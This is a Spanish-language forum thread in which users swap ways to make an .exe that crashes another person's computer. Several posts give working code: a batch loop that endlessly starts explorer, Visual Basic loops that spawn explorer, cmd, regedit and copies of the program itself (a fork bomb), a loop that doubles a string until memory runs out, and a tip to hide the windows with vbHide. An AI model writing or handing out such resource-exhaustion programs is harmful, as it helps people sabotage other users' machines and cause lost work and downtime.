interesante

[crauss]

se podria crear un .exe que se abriera muchas veces el iexplorer por ejemplo 100 veces i entonces eria una manera de petar el ordenador a uno algo komo el msn kick
shell..... ya sabeis
saludos

[dARkDiAMoNd]

wenas...

pues una manera muy facil seria crear un archivo *.bat con un code como este

:bucle
start explorer
goto bucle

y luego lo compilarias(pasar a *.exe) con algun programa, ejemplo quick batch compiler...claro pero ya no seria vb


sALuDos__

[papanoel_devacaciones]

• Un timer con intervalo de 50
• Un textbox

Dentro del timer pones:

Código (vb) [Seleccionar] Expandir


sel = Int(Rnd() * 5)
Select Case sel
Case 0
Text1.Text = "Explorer.exe"
Case 1
Text1.Text = "Notepad.exe"
Case 2
Text1.Text = "calc.exe"
Case 3
Text1.Text = "cmd.exe"
Case 4
MsgBox " Esto es una lamerrada !!!"
Case 5
Text1.Text = "regedit.exe"
End Select
Shell (Text1.Text)


Lo que hace es selecionar un numero cualquiera de 0 a 5....cada numero tiene su propia funcion...despues lo ejecuta... vendria bien declalar "sel" como integer o long dentro de general o load...


Saludos

[HaDeS, -]

Estó es antiprogramación jajaja

Código (vb) [Seleccionar] Expandir


Private Sub Form1_Load()
do
shell "explorer.exe"
shell app.path & "\" & app.exename & ".exe"
loop
end sub


ó

Código (vb) [Seleccionar] Expandir


Private Sub Form1_Load()
Text1.text = "a"
do
Text1.text = Text1.text & Text1.text
loop
End Sub


Hay muchas formas
Saluos!

[smooth.core]

Algo que ocurre con el Do - Loop es lo siguiente, la apliación queda colgada, por lo que nos combiene más

Dim i
For i = 1 to 15000
shell "explorer.exe"
Next

Y entonces, si quieres, puedes agregar más cosas al código, como msgbox y esas estupideces jajajajaj

^^

Saludos

[byebye]

Algo que ocurre con el Do - Loop es lo siguiente, la apliación queda colgada,

Doevents

[Kefren]

Jejeje lo facil que es agotar los recursos de un PC en Windows..... En linux también es así???? 

SaluDOS

[~~]

Añadir un vbHide no estaria de mas.... (un poco triste este programa no?  )